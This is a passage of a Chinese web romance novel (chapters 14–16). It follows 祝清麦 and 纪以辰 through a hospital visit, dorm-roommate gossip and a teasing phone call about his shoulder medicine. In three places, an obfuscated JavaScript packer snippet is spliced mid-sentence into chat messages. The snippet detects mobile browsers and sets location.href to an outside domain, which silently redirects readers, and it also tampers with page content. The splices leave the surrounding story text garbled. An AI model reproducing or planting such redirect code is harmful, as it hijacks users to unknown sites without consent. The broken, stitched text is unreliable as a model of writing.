“哎呀，他胳膊不坏了吗。”奶奶耳尖，出声提醒。 祝清麦手一顿，偏头看他，“非要现在吃？” “凉了就不好吃了。” 祝清麦：“……”行。 看在他受伤的份上。 红薯剥好后她递过去，纪以辰没接。 抬头纪以辰正直勾勾看对面奶奶喂爷爷吃红薯。 祝清麦：“……？” 纪以辰“嘶”了声，装模作样揉揉肩膀，看向她的目光带着期待。 奶奶炽热的目光投来，祝清麦不等奶奶开口，用了些力气，把红薯塞进纪以辰嘴里。 眼神示意他适可而止。 安静一会儿，纪以辰又开口，“祝小满，我胳膊有些僵了，借我肩膀靠靠行吗？” “……” 她能说不行吗？ 和对面奶奶对视一眼，祝清麦叹口气，点点头。 然后…… 这人…… 就真不客气地歪头枕在她肩膀上。 祝清麦：“……” “纪以辰，靠一下就赶紧起来。”祝清麦微微耸耸肩，压低声音，“别装，你伤的是肩膀又不是头。” 纪以辰自顾自闭眼，“你这么一说，我好像真感觉有点头晕。” “……” “祝小满，你说会不会是伤到神经了？”纪以辰动了动，调整了个舒服的姿势。 祝清麦：“……” 你别太得寸进尺。 奶奶还在对面跟爷爷笑，“现在的小年轻啊感情真好，有我们当年谈恋爱的感觉，甚至比我们当初还黏糊。” 祝清麦扫了眼正勾唇笑的人，脑海里突然飘过个想法。 她舔舔唇笑，“奶奶，你可能误会了，我们的感情可能跟你们的不一样。” 纪以辰睁开眼，对面目光也落在她身上。 “我们感情好……可能……”祝清麦弯起嘴角，“因为我们是姐弟。” 14. 第十四章 “我们……是……姐弟？”纪以辰对她这句也有些意外，微微扭头，后两个字被他咬得很慢，隐隐带着戏谑。 不过想想也是，他刚才那么得寸进尺。 按小姑娘的性子，不找机会报复回来就不是她了。 说话间温热的呼吸打在她耳廓，有些痒。 对面奶奶在两人脸上转来转去，表情明显遗憾了几分。 转头跟她老伴儿小声念念叨叨，“刚才我仔细瞅了瞅，眉眼那么神似，我一直以为是夫妻相呢，结果现在告诉我是姐弟。” 奶奶叹气，“果然呦，人老喽，看人都不准了。想当年我看面相不知道给多少人牵过姻缘线，就没有失手过……” 奶奶盯着两人的脸越看越遗憾，从旁边包里摸出眼镜戴上，拿出手机相册刚录入的一些男生照片，翻翻划划挑出几个当场就要给祝清麦介绍牵线。 “丫头，你看这个小伙子，一表人才，一米八……” 祝清麦属实没想到奶奶竟然是隐藏的“红娘”。 奶奶举着手机照片给她看，还不忘安慰纪以辰，“你稍微等等，等我先给姑娘介绍完就给你介绍。” “……” 医院这种环境下被动相亲，祝清麦属实有些尴尬。 旁边的纪以辰坐正身体，饶有兴趣凑上前挡住她视线，“才一米八……，不行啊，我都一米九，怎么也不能比我矮吧。” “那这个？”奶奶见纪以辰这个“弟弟”都负责帮忙把关，更认真了，照片换了一张，“这个有一米九……” 纪以辰凑近细细端详了下照片，“这个长得有点丑，你看照片，p图把脸都p歪了。” 又换了张照片，“这个长得挺周正……” “确实周正……”纪以辰盯着照片默默插.刀，“再正就正成正方形了。” “……” 祝清麦歪头看了眼照片，形容的……确实……挺形象。 接下来的几张照片，纪以辰都在用最“严肃”的表情，“认真地”挑问题。 “这个太黑了。” “这个太胖了。” “这个块头太大了。” “这个身材比例不行。” “这个看着就没有腹肌还虚，她不喜欢。” “这个腹肌也太不明显了，她不喜欢。” “这个看发际线后移趋势，以后该不会秃头吧，她不喜欢。” 祝清麦：“…………” “那这个！”奶奶满脸斗志，撸起袖子，有种势必要找出一个他满意的不可，“我一个老姐妹的儿子，长得高，也挺帅，什么腹肌他应该也有，现在在榆阳大学读书，榆阳本地人……” 纪以辰迟迟没说话，红娘奶奶以为终于遇到个满意的，试探问，“怎么样？” 隔了几秒，祝清麦听见他轻轻“哦”了声，“爸妈不让她远嫁。” 祝清麦：“…………？” 她怎么不知道还有不让远嫁这回事？ 祝清麦感觉周围四处在飘“尴尬”二字。 大写加粗的那种。 诊室门口就诊中的绿灯灭了，机器播报：“请5号患者到1号诊室就诊”。 “到我们了。”祝清麦有种瞬间解放的感觉，赶紧跟满脸遗憾的奶奶告别，把纪以辰拽进就诊室。 医生简单问了几个问题，开了几张检查单让去拍关节CT。 祝清麦在检查室门口等候区坐着。 脑海中莫名响起红娘奶奶那句“两人长得有些像”。 其实从小到大确实不止一个人这么说。 到了高中，两人近乎“同款”的卷发，以及学校家长会上陈女士一直都是一人代替两人家长。 不少人都误以为她和纪以辰是兄妹。 那时纪以辰的同桌叫贺书源，看到她经常喜欢“妹妹”“妹妹”喊她，每次喊都会受到纪以辰无情的肘怼。 一次午休祝清麦没有困意，校服蒙在头上趴在桌上画画。 纪以辰坐在她后面，贺书源压低声音不知道说了什么，从细碎的字眼中猜测出内容大概和她有关。 她听见纪以辰罕见解释两人的关系。 “不是亲妹妹。” “……” 祝清麦摸出随身小镜子照照，又凑近圆镜左瞧瞧右瞧瞧。 她怎么没看出来两人像？ * 晚上人少，检查报告半个小时就出来了。 医生说的术语她没太听懂，但大体意思就是没伤到骨头，问题不大。 祝清麦悄悄松了口气，低头把检查情况发给陈女士。 气归气，但她也不希望纪以辰真有事。 钟冉半小时前也发来不少消息询问情况，但当时她怕手机没电放在包里没听见。 祝清麦离开操场时跑得急，没跟寝室人打招呼，钟冉给她发消息问她为什么突然跑了。 她当时心里乱糟糟的，只回她说家里人突然出了点事，她去看看。 点开对话框，祝清麦回了消息。 ［小满：没什么问题啦！我一会儿就回寝室啦/企鹅转圈。］ ［冉冉：那就好，你突然就跑了，把我和琳琳都看懵了。］ 祝清麦发去一个嘿嘿笑的表情包。 ［冉冉：对了，桃花微信加上没有？］ 祝清麦怔了下，退出对话框点开通讯录，没有新的好友消息。 似乎是她刚准备递出二维码的时候陈女士就来了电话。 ［小满：没加上。］ 钟冉连续发来一堆“啊啊啊”的表情包：［就差一点点！好可惜好可惜好可惜好可惜！好不容易碰到一个你感兴趣的桃花！到嘴的鸭子，就这么飞了！］ 祝清麦抿唇笑笑，倒是没觉得可惜。 ［冉冉：对了，咱们寝室最后空床的那位学姐今晚搬进来了，提前跟你说一声，咱们寝室可能和白天不一样了，你有个心理准备，一会儿回来别太惊讶。］ 祝清麦低头刚敲下为什么，就被医生的声音打断思绪。 “旁边那位姑娘是家属吗？家属过来等一下，我去拿药，一会儿回来告诉你怎么贴药。” 医生出门。 祝清麦站到纪以辰身边，低头把剩下没敲完的字敲完发送。 钟冉飞来几条语音，祝清麦没带蓝牙，长按转成文字。 ［冉冉：这个学姐从搬进来到现在，安完床帘安桌帘，我感觉她恨不得把她的床铺位置重新装修一遍，能单独隔离出去最好。］ [冉冉：其实我也不在乎她安什么，每个人性格不一样，她需要隐私我也理解。但是！！！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438703|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是！！！小满你知道吗？她竟然带了小型保险柜过来！而且她把所有放东西的柜子都安了锁头，还告诉我们不要靠近她的床，也不要碰她的东西。] [冉冉：她不说我们也不会碰她的物品啊，但是也不至于把我们像贼一样防吧！] 字里行间能感觉出钟冉的怨气都要漫出来了。 祝清麦安慰了钟冉几句，不免也有些忧愁。 收起手机，抬头见纪以辰坐在椅子上，衬衫扣已经解开了一半。 “……！！！” “你……你……这是干什么？”祝清麦看他的动作吓了一跳，开口紧张到结巴，眨眨眼后退两步。 纪以辰抬眼看她，“刚没听医生说吗？给肩膀贴膏药，不.脱.衣服怎么贴药？” 祝清麦：“……”是吗？ 一时语塞，她刚才一直低头看消息，根本也没听他和医生说什么。 “怎么这么紧张？”纪以辰看她红红的脸挑眉，“你以为我要干什么？” “祝小满，你脑袋里装了些什么不可描述的东西？” 祝清麦：“……” 祝清麦举起手机装看手机回避话题。 明明不管谁看到异性在面前脱.衣服都会紧张得好吗！ 纪以辰轻笑，背对她，衬衫半解，直至布料滑至腰间露出肌肉紧实的后背。 祝清麦用手机做遮挡，余光不小心扫了眼。 不一会儿，又瞄了几眼。 见纪以辰背对她，她干脆直接光明正大抬头，目光从他背后线条划过。 这么棒的肌肉纹理，不当人.体.模特有点可惜了。 她在心里估算下纪以辰肯乖乖坐着当人.体.模特的可能性。 可能性几乎为零。 祝清麦习惯点开相机，手指在按键上方，思想在拍和不拍之间犹豫徘徊。 偷拍似乎不好。 不拍，又觉得素材摆在眼前就这么浪费了也不好。 犹豫间，医生推门进来，祝清麦手一抖按下拍摄。 咔嚓一声，照片收入相册。 拍照声很小，但因为心虚，祝清麦耳朵里的拍照声被放大。 心跳如打鼓。 她视线心虚的扫过两人，见两人面容无异，偷偷把手机塞进包里藏好。 “膏药就贴在肩膀上，不用脱这么多，解两个扣子就行。”医生拿药，经过两人身边提醒，“这天都入秋了，多注意，别再着凉了。” 祝清麦听后，两指捏他衬衫衣领往上拽，语气也带了丝关怀“听见没有，别着凉了，医生说贴药，可没说让你把衣服脱.得这么干净。” 衣服被她拽的歪扭，但也遮住大片皮肤，只留右肩和胳膊在外面。 似乎这样，心底的心虚就能减少些。 “虽然没伤到骨头，但也有些拉伤，需要贴几天膏药，这几天千万别使重力。”医生嘱咐，在纸上写了一堆看不懂的字符。 接着又撕开一贴药给祝清麦，给她指，“就这个位置，先用热毛巾热敷几分钟，再把膏药贴上去，六个小时一换，重复步骤就行。” “贴几天先看看效果怎么样，两天大概就能感觉出变化。肩膀这个位置他一个人够不到，热敷费劲，膏药也贴不好，所以家属就多辛苦辛苦，及时帮忙换药。” 15. 第十五章 从医院学完如何热敷，如何贴药，再折腾回学校已经十一点多。 祝清麦拒绝了纪以辰送她回寝室的建议，一路狂奔，终于赶在寝室大门关上前几秒钻进去。 负责关门的学姐笑笑，叮嘱下次千万别这么晚回来。 她顺好呼吸，点点头。 钟冉声音幽幽飘来，“我以为你不回来了，给你发那么多消息都没回，正愁一会儿宿管阿姨查人怎么给你请假呢。” 祝清麦转头，对上角落里钟冉幽怨的目光。 钟冉披着外套蹲在墙一角，表情比声音还幽怨几倍。 祝清麦：“你蹲在这干什么？” “等你啊。”钟冉欲起身腿一软又坠回去，“快快！小满拉我一下，腿！我腿！我腿要出走了！” 祝清麦被逗笑，把人拉起来，钟冉软靠在她身上。 钟冉向来不会错过任何一个能和甜妹贴贴的机会。 紧紧抱住她胳膊，枕在她肩膀上，夸张蹭.蹭，“我终于等到你回来了，你知道吗，琳琳临时通知加训。寝室里太压抑，我不想一个人待在里面。” “小满，你身上怎么有股中药味？”钟冉细细在她身上嗅嗅，低头看到她手里的袋子，找到味道源头。 “这是……膏药贴？你怎么了？” 祝清麦怔了下，似乎才感受到袋子的存在。 从医院出来急着回寝室，忘记装药袋子还在她手上。 祝清麦摸摸鼻子，“家里人的，我着急回来忘记给他了，明天再给吧。” 两人在寝室走廊间吹风，哪怕刻意避开了，话题兜兜转转最后还是转到那位学姐室友身上。 钟冉胳膊交叠撑在窗台上唉声叹气，“我的寝室小窝啊！寝室可是我大学生涯里最最最温暖舒适的港湾啊！学姐今晚这么一搞，我现在看见她就尴尬，而且感觉周围像埋了炸弹一样，不知道什么时候一不小心踩到，就爆炸了。” 祝清麦托脸，手指在手机屏幕上戳字，“那也没办法，学校寝室就这么多，学姐刚搬进来，先试着磨合几天吧。” “只能这样了。”钟冉闷闷不乐。 “不然这样！”钟冉撑直胳膊，“我也搞个床帘遮遮，这样寝室里隔出私人空间就能减少看见学姐的次数，只要我们无交流，寝室还是我舒适温暖的小窝！” 钟冉越说越觉得是个好方法，“就这么决定了！我要买一个！” “小满你要不要？” 祝清麦迟疑了下，想到她之后大概率会半夜亮灯画稿，有床帘遮遮光线确实比较好，点点头。 “那行！我再问问琳琳！”钟冉拿出手机，“如果琳琳也要的话我就一起买！今晚就下单！” …… 寝室静悄悄的。 这位学姐室友把她的位置用黑色的帘子遮挡的严严实实，半分不透，里面一点声音也没有。 祝清麦和钟冉不确定人是不是在睡觉，也不敢发出太大声响。 宿管老师进来查人时，平静的黑色帘子才有波澜。 里面伸一只手出来，在半空晃了晃，“沈乔，人在。” * 熄灯后，祝清麦躺在床上，把近期碎片时间摸出的故事条漫上传微博。 等图片上传加载期间，祝清麦少见地有些紧张。 她以往画的都是人物和单幅故事，客稿大部分都是人物。 系列故事条漫还是第一次尝试。 内容发到平台上，代表会收到很多小画粉甚至其他人的评价。 对她来说，无疑是对她这段时间学习成果的一次测验。 一直以来，祝清麦都把她发出的每幅作品下有意义的评论留言看作学习的一部分。 她深知人外有人，天外有天。 在还没往更“高级”的领域去时，她就要使劲扎根在基础上，一遍又一遍地练基本功。 这也是当初一个留言教她的。 图片显示上传成功，祝清麦迅速退出微博。 批卷审阅需要时间，她做心理准备也需要时间。 这一会儿，祝清麦不知道点开多少个应用软件又退出。 装作很忙的样子，但不知道到底在忙什么。 看看手机右上角…………才过了两分钟？！！ 两分钟这么漫长吗？！！ 祝清麦把手机关上塞到枕头下面，闭眼静思。 几秒后，祝清麦睁开眼睛决定转移视线。 钟冉正躲在被窝里看床帘，被子被掀开一角，祝清麦钻了进来。 祝清麦瞄到她手机，“床帘还没选好？我来帮你选。” 钟冉疑惑，“你不是说再也不半夜找我了吗？” 祝清麦：“……” 今晚紧张到忘了那回事。 之前有段时间祝清麦休稿找灵感，两个人晚上睡不着经常会躺在一起聊天。 聊的内容开始平淡了，钟冉就开始神秘兮兮问她要不要看她“独家私藏”的漫画和动漫。 祝清麦当时以为是普通漫画，抱着“一心向学”的心态答应了。 甚至打开手机备忘录准备随时记录灵感要点。 开始还很正常，讲青梅竹马两人的日常相处，等动漫放到三分钟后画风逐渐朝不可言说的方向发展。 那晚钟冉拉着她看完了六集。 备忘录上空空的，大脑里全是他亲她，他按着她亲，他按着她…………不分地点，不分时间。 ……不分昼夜……全凭男女主感觉。 导致她那几天晚上闭上眼，画面像已经下载在大脑硬盘里反复不断播放。 甚至……影响了她的梦境。 为了她的身心健康，自此，姐妹夜晚party原地解散。 “……” 祝清麦趴着，歪头看她点商品收藏，轻悄悄跟她咬耳朵，“因为我觉得你今晚应该……也没空看那些东西。” 钟冉：“……” 两人研究了半天终于敲定商品下单。 钟冉亮出收藏夹笑嘻嘻凑近，“这个时间……要不要一起？” 祝清麦立刻起身，“我拒绝！你继续私藏吧，留着自己慢慢看。” 两人是临床，祝清麦跨回床铺，还贴心把她的被子盖实。 微博评论已经有上百条，好在大部分的评论都是正向的，其中夹杂几条酸溜溜，阴阳怪气的评论。 对于这种评论，祝清麦已经学会了视而不见，反正微博评论有自动清恶评功能，一会儿就没了。 祝清麦把下面一些建议记录好，再刷新。 那些阴阳怪气的评论果然都不见了。 评论区干干净净，一片和谐。 最上面点赞最多的评论是她的偶像太太：［@是满满du：满满进步好大，继续努力，许愿不远的将来能看到满满的作品，如果有机会我们可以合作。］ 祝清麦回了个期盼星星眼的表情。 第二条评论点赞也极高。 但这个人很奇怪，头像是空白，资料没有信息，昵称是两个圆圈。 从她刚发作品开始，两个圆圈就关注她，每条微博都点赞转发又评论—— 一个很赞的大拇指表情。 或许也可以算在她的忠实小画粉里？ 祝清麦曾点进他的主页，没有个人动态，全都是不同画作的转发内容。 一个冷漠但忠实的小画粉？ 大概或许也是一个绘画爱好者吧，祝清麦想。 他的每一条评论都是同一个表情。 从来没变过。 这条也不例外。 相反其他人给他的内容有趣多了。 ［拇指哥在线5G冲浪！］ ［满满微博刚发，拇指哥就来点赞了。］ ［顶一个，助力拇指哥去前排。］ ［这么多年了，拇指哥的评论一直都是这个拇指表情。］ 祝清麦给两个圆圈的评论点了个赞，又回了一个同样点赞的表情包。 她向下又回复了几条眼熟ID的评论，美滋滋退出微博。 * 发给纪以辰的消息，对面迟迟没回。 祝清麦调出画板，画了一个简易版的小人，并标注了膏药应该贴的位置，发过去。 ［小满：你不回我，我就当你默认了哦。明天我把药袋放医务室，你拿回去让你室友帮你贴，贴药的图我都给你画好了。这算友情赞助，就不收你稿费了。］ 对话框上对方输入中……显示消失，显示消失了三四次，消息才发过来。 ［劳工：……这么看来我的肩膀要留后遗症了。］ ［小满：？］ 祝清麦莫名其妙：［为什么？医生不是说了，你按时换药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438704|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。］ 这次对面回复得很快：［医生说的是先贴两天观察观察症状有没有缓解，没说一定好。］ 祝清麦回忆了下，好像……确实是这样。 但医生也说过不严重。 ［劳工：而且你是唯一一个当场学习过的家属，你这么有经验的人不帮我。我也指望不上我们寝室这几个五大三粗，膀大腰圆，连走平路都会莫名摔跤让我受伤的室友。］ 字里行间，祝清麦感觉到了满满的控诉。 ［劳工：所以啊，你不帮我，他们这几个大老粗万一不小心，位置没贴对，力气再大了些。好的慢点儿倒是无所谓，万一不小心弄二次受伤了怎么办。］ 纪以辰向来不爱用表情包的人，发了一张她常用的小狗哭泣表情包。 ［劳工：你忍心看我二次受伤被陈女士上思想课吗？］ 祝清麦把聊天记录反反复复读了几遍，还是不太相信这是纪以辰说出的话。 纪以辰平常对她虽然不带“年级一霸”的拽气，但也从来没像今天这样“卖惨”过。 在她面前，纪以辰展现最多的一面是一个“无所不能”的大哥哥形象。 祝清麦莫名有种新鲜感，逗他：［那这样吧，晚上我辛苦点，画一个更详细的人物穴位图，然后把步骤顺序、每一个步骤的时间还有要点都写详细发给你。你室友看步骤做，这样总不能出问题吧？放心，还是友情赞助，不收费。］ 纪以辰这次隔了好久也没回。 她就趴在床上捧着脸盯着聊天框等。 消息弹出来。 ［劳工：祝小满，我不是好说话的人，他们说的话我不听。 ［劳工：你知道的，我也不喜欢不熟悉的人碰我。］ 言外之意，他不会让室友帮他贴药。 确实是这样，高中时能称是纪以辰好友的贺书源，如果她没记错的话，也是用了近两年的时间才能勉强被纪以辰归在“熟悉的人”里。 成为“熟悉人”后，还要纪以辰偶尔心情好，贺书源才能搭上他的肩。 姜悦管这叫满级洁癖。 纪以辰不想做的事情基本上也没人能劝动，除了从小被纵容到大的她。 不然纪以辰室友也不会劝半天也没把人劝动去医务室，最后陈女士还要给她打电话。 其实祝清麦不是不想帮纪以辰。 可这药一天要换四次，她和纪以辰一天最少就要见面四次。 这个见面频率比她和分配在别寝的同学还高，更别说避嫌了。 纪以辰至今还挂在表白墙，关注他的人那么多，她和纪以辰再频繁见面。 万一被外人看到的次数多了，她的“陌生人”条约还怎么进行？ 祝清麦恨恨打字：［那你就等着肩膀留下病根，然后挨家里人骂吧！！！］ 正要发送，手突然顿在半空。 她突然想到，纪以辰挨骂。 似乎她这个同纪以辰在“异乡”“相依为命”的人也不能躲过。 更何况“界限条约”是不能被家里人知道的。 知道了，说不定怎么翻天。 祝清麦只得悻悻地删掉消息。 正思考如何委婉地劝说。 纪以辰又发来一条：［祝小满，你不用想别人帮我。] [纪以辰：别人不行，我只听你的。］ “……” 不知道是黑夜把奇怪的感觉放大，还是此时此刻祝清麦正闷在被子里氧气稀薄。 明明从小到大，身边人都已经默认这个事实。 甚至长辈们聚在一起还会开玩笑，“想让以辰办事啊，先哄哄小满，把小满贿.赂.成功了，事情基本上也就成了。” 但如今。 被纪以辰这么直白地说出来。 似乎有些不一样…… 是一种……她说不清……很奇怪的感觉。 她感觉她的心跳有一瞬间不正常的律动。 祝清麦掀开被角，露出头，呼出一口气。 侧躺着慢慢呼吸，平复有些急促的心跳。 不知多久，黑祝清麦瞄见黑色的床帘被掀开一角。 里面的人下床又拉上桌帘。 隐隐透出微弱的光亮。 祝清麦听见铅笔画图声。 铅笔沙沙声很重，也没盖过她的心跳。 16. 第十六章 祝清麦不记得她是什么时候睡着的。 原本打算回给纪以辰的微信也忘了回。 学姐那边和她昨晚看见的一样。 床帘、桌帘把她的位置遮挡得严严实实。 有片刻恍惚，祝清麦开始怀疑她昨晚看见的光亮到底是真实存在的，还是睡着后的梦境。 她一直认为平行时空是真实存在的。 毕竟祝清麦时不时会感觉，平日里做的事情和一些场景熟悉到—— 似乎梦里的她也做过。 如果那点儿光亮是梦境的话。 那种莫名、奇怪的感觉是不是也是错觉？ …… 祝清麦看了眼时间，今天有早课。 纪以辰也到了该换药的时间，她还要提前带药送去医务室。 她刚下床，钟冉抬头，眼睛都没睁开，“天呐！小满你怎么也这么早起来，要出去？” 祝清麦蹲下系鞋带，仰头看她，“也？” 钟冉十分困倦的模样，“嗯”了声，打了个哈欠，“学姐，应该是天刚亮的时候，我听见学姐穿外套开门出去了，就没再回来。” “你又通宵看你的私藏，忘记时间了？”祝清麦已经很了解她了，但还是有些无法相信面对早八课，钟冉还通宵。 提到这，钟冉微微有了精神，嘿嘿嘿地笑，“漫画昨晚更新了，原本我打算看完更新的两章就睡觉。但意外发现画师太太开了新坑，而且发现！内容！非常！极其！对！我！胃！口！我一个没忍住追平了。” 祝清麦：“…………” 钟冉：“你要吗？我发给你，太太除了内容大胆点，画风还是不错的，值得你学习钻研，说不准学好后你会更上一层楼。” “…………” 祝清麦想起那次看到yellow漫动作情节前，她还真想过认真做笔记，红了脸。 谁！要！对！着！yellow漫画！学！习！钻！研！啊！ 啊啊啊啊啊？！！ 祝清麦内心呐喊。 况且钟冉能说出“非常”“极其”这种词汇形容的漫画，一定是yellow到没边了。 “不用了，你自己留着看吧，时间还早，你再睡一会儿。”祝清麦默默转移话题，戴好口罩和帽子，拎过桌上的药，“睡吧，等我送药回来喊你。” * 清晨露水很重。 从寝室到医务室这段距离，祝清麦感觉衣服都被冷气沾染透。 纪以辰没来，医务室里还是只有那位学长在低头看书认真做笔记。 看纸张颜色，应该是换了一本书，但厚度明显只增不减。 “拿药还是不舒服要检查？老师八点来。”学长语气淡淡，手里拿着咖啡喝了几口。 祝清麦开口跟他打了声招呼。 学长捏着眼镜腿细细看了眼，“哦，是你啊。” “你男朋友昨天去检查没？你昨天那么着急生气，应该去检查了吧，你男朋友检查怎么样？” 要出口的话突然卡了下，很快祝清麦小声驳了句，“他……不是我男朋友。” “哦。”学长平淡回应声，说出的话像医院叫号机器那样平稳冷静，“那就是还在暧昧期。” “……” “……也不是……我们……”祝清麦手指轻轻挠挠额头，医院的理由再次拿出来使用，反正纪以辰也不在。 “他……他是我弟弟。”祝清麦语气逐渐坚定。 学长抬头看了她一眼，几秒后，平淡“奥”了声。 祝清麦把记得情况讲了下，学长点点头，“热敷毛巾自己带，热水那边有，用完收拾干净就行。” 她说了声谢谢，向里面走。 她坐在椅子上等了十分钟也不见纪以辰身影。 等待的这段时间，祝清麦见证了学长打了数不清的哈欠。一杯咖啡喝完后，默默从桌下又拿了一杯出来，低头做笔记。 整个人散发着淡淡的死.感。 学医的人都这么累吗？ 打哈欠会传染，这一会儿，她也被传染打了好几个，低头看手机。 微信的消息她刚出门就发了。 ［小满：药放医务室，你快点来拿。］ 对面回得很快：［知道了。］ 回消息代表纪以辰醒了，她清楚纪以辰醒了很少会再睡回笼觉。 时间过去半个小时了。 新男寝离医务室也不远，纪以辰就算伤得是腿，一路靠单脚蹦，这个时间也该蹦来了。 祝清麦给纪以辰发去语音条，“纪以辰，六个小时换药时间都过了，你去医务室拿药换没？ 劳工发来一条消息：［换了。］ 哦 换了。 纪以辰说换了。 “…………” 祝清麦看了眼旁边的药袋，咬牙挤出一抹微笑。 真被他气笑了。 纪以辰什么时候学会的隔空取物？ 她怎么不知道？ 祝清麦站起身，找出语音通话，准备出门打电话狠狠谴责纪以辰一顿。 刚迈步出门，听见后面一声沉闷声响。 吓得她以为学长学习过度晕倒，赶紧回头，毕竟那浑身的“微死.感”不像开玩笑。 只见一早上都是“微.死”状态的学长脸上终于有了一丝“鲜活”的表情。 他把书重重地扔到一边，砸出很轻微的……闷声。 祝清麦看他微笑着开始发语音，满满都是控诉，“李牧也你个杀千刀的，我当初就是信了你的邪，听你的意见报得医学专业，结果转头你就背刺我去学计算机。” “劝人学医，天打雷劈！老天爷怎么还没降个雷劈.死你。” “…………” 这学长反差好大。 “别骂了，别骂了，蒋赫你每天准时骂我也不嫌累？”学长语音外放，门口的祝清麦清晰听见对面有气无力地回答，“我现在学计算机不也遭报应了，每天熬夜写代码，对比大一学弟们，我感觉头发都少了，天天照镜子看发缝，就担心我哪天秃顶了，我生发液都买了一堆。” “这大一刚开学才多久，我们网络信息部部长就带进来一学弟推他接部长位置。老组员开始不服气闹了一通，但谁能想到这学弟贼特么牛逼，把我们这一群老人狠狠吊打一顿。现在部里卷生卷死，昨晚做梦还梦到代码变成小怪兽，我跟怪兽大战了三百回合，现在还恍惚觉得我有超能力……” 祝清麦转头摸摸鼻子，想象代码符号变怪兽的模样，差点笑出声。 她见过纪以辰写代码，各种字母字符看得她头疼，可不就是怪兽？ 那些代码唯一可爱的时候，大概就是纪以辰发给她的程序。 点开可以炸烟花。 虽然电话内容不是她想听的，但她在原地听久了也不好。 学长嗓门不小，她向远处走走，声音渐渐消散。 直到彻底听不见声音，祝清麦才找处树荫，靠在树上给纪以辰打电话。 电话接通，男生懒散的声音传过来，“小满，找我？” 那边背景很嘈杂，祝清麦听见两个男生就从哪里跳车，向左向右开吵得不可开交。 祝清麦把手机拉远些，想说发文字说吧。 纪以辰先开口，“等我一会儿，室友在打游戏，有点吵。” “其实没什么事情，可以打字说。” “等我。” 祝清麦低头，脚尖把小石块踢来踢去。 她听见那边声音忽然变得更乱了。 “辰哥！辰哥救命！过来帮我一局。” “辰哥你掉线了？你干什么去？” 祝清麦踩石块的动作顿住。 “你也在打游戏？” 纪以辰轻轻“嗯”了声。 祝清麦第一反应是这膏药贴的效果确实不错，打游戏这么灵活的事情都能做了。 第二吧………… 她把小石块踩立起，谴责他，“纪以辰，你竟然没有团队意识，抛弃了你的同伴！” 那边声音渐渐小了，纪以辰的声音开始清晰。 “祝小满，有没有良心，我打游戏的时候都会第一时间接你电话，你倒好，反过来说我没团队意识。” “就是没有呀。”祝清麦声线软软的，尾调拉长时给人一种她在撒娇的感觉。 “我是代表你的同伴谴责你，和祝小满本人无关。” 纪以辰轻笑，“你现在找我的次数越来越少，突然找我，我当然要珍惜每一次的机会。” 纪以辰的话听得她莫名耳热。 一时错力，小石块被踢飞。 “好了，不逗你了，找我什么事？”纪以辰轻问。 祝清麦思绪回笼，差点忘记大事。 祝清麦：“我昨天思考过了，我们现在是一根绳上的蚂蚱，你的伤如果不好，挨骂我也逃不掉，所以请你及时换药养伤。” 纪以辰嘴角慢慢扬起，“关心我的伤势？关心我……要不要亲自来看看？” “我给你打电话，就是想确认一下。”祝清麦低头看脚尖，声音带笑，“你是不是也看代码看多了，产生了幻觉，觉得自己有隔空取物的超能力？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438705|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么？”纪以辰疑惑。 “纪以辰同学。”祝清麦语气严肃，“我从早上把药送到医务室就没离开，现在药还在里面，请问你是怎么换好的药？” “逃药”这种事情难得出现在纪以辰身上。 祝清麦叉腰，模仿每次纪以辰说她时的语气说他，“纪圆圆，你三岁吗？” “你不好好贴药，你的伤什么时候才能好？” “……” 对面沉默几分钟。 祝清麦偏头看看手机，信号满格啊，怎么没有声音。 时间久到祝清麦想挂电话重拨。 “你周围有人？”耳边重新响起声音。 “没有啊，怎么了。”祝清麦一头雾水。 “没事，我马上到。”对面似乎松了口气，“还有，在外面别叫我小名。” 祝清麦：“……” 这人还是一如既往地要面子。 * 祝清麦挂了电话，还是没忍住笑出声。 她能想象出她喊纪以辰“纪圆圆”时的表情。 皱眉，不耐烦，但又无奈接受。 纪圆圆是纪以辰的小名。 这个名字据苏女士和陈女士闲聊时得知，是她取小名抓阄抓出“小满”后，纪以辰给他自己取的名字。 那时已经认字的纪以辰非要和她名字凑成“圆满”二字。 后来上学被问过小名叫“圆圆”是不是因为他以前很胖。 纪以辰解释了很多次未果，还被一女生补刀，“胖过也没关系，现在看起来多帅，证明了胖子都是潜力股。” 彼时的纪以辰正处于“死要面子”时期。 女生之间的谈话不知道怎么传进男生群体里，一时间，许多男生都找他讨要减肥方法，他烦不胜烦。 再升学，纪以辰就明令禁止她喊他小名，包括家里人在内也不能喊，谁叫他跟谁急。 亲自取的名字又被他亲手抹掉。 祝清麦偶尔跟他斗嘴还是会继续“纪圆圆”“纪小圆”的喊，周围没人的情况，纪以辰往往睁只眼闭只眼，懒得跟她争辩。 